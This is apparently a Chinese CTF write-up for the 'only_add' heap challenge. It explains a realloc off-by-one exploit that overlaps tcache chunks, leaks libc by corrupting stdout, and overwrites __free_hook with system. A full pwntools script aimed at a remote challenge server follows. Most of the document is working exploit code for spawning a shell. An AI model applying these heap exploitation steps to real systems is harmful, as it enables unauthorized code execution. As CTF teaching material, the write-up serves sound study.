hxb_only_add

only_add

思路

realloc的利用

  1. realloc申请的堆块比当前堆块小时,如果差值足够一个chunk就切割当前chunk

  2. realloc大小为0的堆块时就会释放当前的chunk

然后程序当申请堆块往堆块里面写入数据时可以额外写一个字节offset-by-one

  1. 通过realloc和offset-by-one漏洞,将申请的0x40大小的chunk改成0xe0。申请再释放后他们都进入了0xe0的tcache。由于申请的3个0x40的块都间隔0x20,每个堆块都被前面的堆块重叠。

  2. 在申请0x500的空间切割后释放,进入unsortbin,此时就又了libc地址

  3. 由于和之前改过大小的堆块相邻,通过构造tcache链可以将unsortbin中的堆块链入tcache并改写fd的低字节使其指向stdout

  4. 不断申请堆块控制stdout,将IO_write_base的低字节设置为0,泄漏出libc地址

  5. 此时利用程序的del函数清空buf

  6. 仍然利用之前的重叠的堆块,控制__free_hook为system的地址(控制的地址往前挪8个字节,用来放/bin/sh\0)

  7. 申请一个0的空间就会调用free出发__free_hook获得shell

    注意由于输出流被关掉,输出时要将输出重定向到错误流(也就是屏幕上)输出,cat flag >&2

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
from pwnlib.ui import pause

# context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', "-h"]

# p = process('./pwn')
# pelf=ELF('pwn')
# lelf = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

p = remote('47.111.104.169', 57605)
pelf = ELF('pwn')
lelf = ELF('./libc.so.6')


def new(size, data):
p.recvuntil("choice:")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(size)
p.recvuntil("Data:")
p.send(data)


def free():
p.recvuntil("choice:")
p.sendline('1')
p.recvuntil("Size:")
p.sendline('0')


def dlt():
p.recvuntil("choice:")
p.sendline('2')


while(1):
new(str(0x40), 'aaaa')
free()

new(str(0xd0), 'aaaa')
free()

new(str(0x50), 'aaaa')
new(str(0x18), b'a'*0x18+b'\xe1')
free()

new(str(0x50), 'aaaa')
new(str(0x18), b'a'*0x18+b'\xe1')
free()

new(str(0x50), 0x30*b'a'+p64(0xe1)+p64(0x21))
new(str(0x18), b'a'*0x18+b'\xe1')
free()

# pause()

new(str(0x30), 'aaaa')
free()

new(str(0x30), 'aaaa')
free()

new(str(0x30), 'aaaa')
free()
# pause()

new(str(0x490), 'aaaa')
new(str(0x420), b'a'*0x20+p64(0)+p64(0x31))
free()

# pause()
payload = (0x60-8)*b'a'+p64(0x31)+b'\xb0'
new(str(0xd0), payload)
new(str(0x20), 'aaaa')
free()

# pause()
payload = (0x60-8)*b'a'+p64(0x31)+(0x40-8)*b'a'+p64(0x31)+b'\x60'+b'\xd7'
new(str(0xd0), payload)
free()
# pause()
# payload=0x
new(str(0xd0), payload)
free()

payload = p64(0xfbad1800)+p64(0)*3+b'\x00'
new(str(0xd8), payload)

addr = p.recvn(len('\nDone!\n')).decode()
# print('addr:', addr)
if addr != '\nDone!\n':
break
else:
# p=process('./pwn')
p = remote('47.111.104.169', 57605)

libc = p.recvuntil('\xff')[2:-1]
print(libc)
libc = u64(libc) - 0x3ed8b0
print('libc', hex(libc))
# gdb.attach(p)

# free()
dlt()
p.recvuntil("Bye")
rh = lelf.sym['__realloc_hook']+libc
og = lelf.sym['system']+libc

def new1(size=0, data=''):
sleep(0.1)
# p.recvuntil("choice:")
p.sendline('1')
sleep(0.1)
# p.recvuntil("Size:")
p.sendline(size)
sleep(0.1)
# p.recvuntil("Data:")
p.send(data)


def free1():
sleep(0.1)
p.sendline('1')
sleep(0.1)
p.sendline('0')


payload = b'/bin/sh\0'+b'a'*(0x70-8-len('/bin/sh\0'))+p64(0x31)+p64(rh-8)
new1(str(0xa0), payload)
free1()

new1(str(0x10), 'aaa')
free1()

print('rh', hex(rh))
print('og', hex(og))
new1(str(0x10), b'/bin/sh\0'+p64(og))

free1()

p.interactive()